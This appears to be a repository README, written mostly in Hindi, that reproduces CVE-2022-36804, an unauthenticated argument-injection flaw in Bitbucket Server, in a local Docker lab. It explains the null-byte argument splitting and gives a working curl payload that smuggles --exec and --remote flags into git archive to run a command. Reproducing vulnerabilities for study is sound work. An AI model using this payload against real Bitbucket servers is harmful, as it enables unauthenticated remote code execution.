
Investigating CVE-2022-36804
एक रिमोट कोड निष्पादन भेद्यता का पुनर्निर्माण जहाँ Bitbucket उपयोगकर्ता इनपुट को सैनिटाइज़ करने में विफल रहता है, जो हमलावरों को Git फ्लैग इंजेक्ट करने और दूरस्थ रूप से कोड निष्पादित करने की अनुमति देता है।
यह रिपॉजिटरी दस्तावेज करता है कि कैसे मैंने भेद्यता CVE-2022-36804 को पुन: उत्पन्न किया, जो Bitbucket सर्वर में प्री-प्रमाणीकरण तर्क इंजेक्शन की एक समस्या है। लक्ष्य Assetnote के सार्वजनिक राइटअप में वर्णित अंतर्निहित सुरक्षा मुद्दे को प्रदर्शित करना था। सभी परीक्षण एक पृथक स्थानीय वातावरण में किए गए।
CVE-2022-36804 Bitbucket द्वारा उपयोगकर्ता इनपुट को बिना नल बाइट्स को सैनिटाइज़ किए सीधे git archive सबप्रोसेस में पास करने के कारण होता है। चूंकि Bitbucket git को स्पॉन करने के लिए NuProcess का उपयोग करता है, नल बाइट्स संरक्षित रहते हैं और तर्क विभाजन का कारण बनते हैं। यह एक हमलावर को कमांड में अतिरिक्त git फ्लैग इंजेक्ट करने की अनुमति देता है। कमजोर संस्करणों (जैसे इस सेटअप में उपयोग किया गया 7.21.0) में यह प्रमाणीकरण के बिना रिमोट कोड निष्पादन की ओर ले जाता है।
यह प्री-प्रमाणीकरण रिमोट कोड निष्पादन भेद्यता /archive एंडपॉइंट में होती है जो git archive के फ़ंक्शन के साथ रिपॉजिटरी आर्काइव जनरेट करने के लिए जिम्मेदार है। Bitbucket prefix पैरामीटर को सीधे git सबप्रोसेस में पास करता है लेकिन बिना नल बाइट्स को सैनिटाइज़ किए। चूंकि git C में लागू किया गया है, एक नल बाइट स्ट्रिंग को जल्दी समाप्त कर देता है। इसलिए नल बाइट के बाद की हर चीज़ को एक अलग कमांड लाइन तर्क के रूप में व्याख्यायित किया जाता है। यह हमलावर को कमांड में मनमाने git फ्लैग इंजेक्ट करने की अनुमति देता है।
यह इसलिए काम करता है क्योंकि Bitbucket NuProcess का उपयोग करता है जो नल बाइट्स को हटाने के बजाय संरक्षित करता है। परिणामस्वरूप Git उपयोगकर्ता द्वारा प्रदान किए गए कच्चे इनपुट को बिल्कुल वैसे ही प्राप्त करता है। चूंकि git नल बाइट्स को स्ट्रिंग टर्मिनेटर के रूप में मानता है, prefix मान git सबप्रोसेस को पास होने पर कई तर्कों में विभाजित हो जाता है। यह नल बाइट के बाद अतिरिक्त git फ्लैग को तस्करी करने की अनुमति देता है। जब --exec और --remote जैसे फ्लैग के साथ जोड़ा जाता है, तो यह तर्क इंजेक्शन सीधे Bitbucket सर्वर के कमजोर संस्करणों में रिमोट कोड निष्पादन की ओर ले जाता है।
TEST/demo)वातावरण शुरू करने के लिए:
docker compose up -d
संस्करण सत्यापित करें:
cat /opt/atlassian/bitbucket/VERSION
इस CVE की कुंजी यह दिखाना है कि prefix पैरामीटर में एक नल बाइट Bitbucket को git archive में कई तर्क पास करने का कारण बनता है।
docker exec -it bitbucket bash
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
pspy को चलने दें।
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/demo/archive?prefix=test%00canary&format=zip"
यह परीक्षण करता है कि नल बाइट तर्क विभाजन का कारण बनता है या नहीं।
pspy में Bitbucket उत्पन्न करता है:
/usr/bin/git archive --format=zip --prefix=test canary/ --
यहाँ test और canary एक के बजाय अलग-अलग तर्कों के रूप में दिखाई देते हैं। %00 ने इनपुट को विभाजित कर दिया और Bitbucket को उन्हें git के लिए स्वतंत्र तर्कों के रूप में पास करने के लिए मजबूर किया गया।
नीचे दी गई छवि Bitbucket Docker कंटेनर के अंदर pspy को /usr/bin/git archive --format=zip --prefix=test canary/ -- (PID=666) पकड़ते हुए दिखाती है। एक मान के रूप में भेजा गया - test%00canary - दो अलग-अलग तर्कों के रूप में पास किया गया है। नल बाइट ने इनपुट को विभाजित कर दिया जो git कमांड में एक अतिरिक्त तर्क को तस्करी करता है।
नल बाइट्स के माध्यम से --exec=touch /tmp/pwned और --remote=file:///... इंजेक्ट करके सर्वर एक मनमाना कमांड निष्पादित करता है। भले ही git कोड 128 के साथ बाहर निकलता है, कमांड git द्वारा त्रुटि देने से पहले चलता है और कंटेनर के अंदर /tmp/pwned बनाया जाता है।
पेलोड:
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/DEMO/archive?at=ebbabd99dd2da7bb5f8ed6dea8c988253fb43260&prefix=x%00--exec=touch+/tmp/pwned%00--remote=file:///var/atlassian/application-data/bitbucket/shared/data/repositories/1%00x&format=zip"
नीचे दी गई छवि pspy को पूर्ण निष्पादन श्रृंखला पकड़ते हुए दिखाती है - /usr/bin/git archive --exec और --remote तर्कों (PID=74412) के साथ चल रहा है, /bin/sh touch /tmp/pwned (PID=74413) को स्पॉन कर रहा है।

docker exec -it bitbucket ls -la /tmp/pwned के साथ यह सत्यापित करना संभव था कि फ़ाइल बनाई गई थी।
यह नीचे दी गई छवि में दिखाया गया है।

Johan - स्टॉकहोम, स्वीडन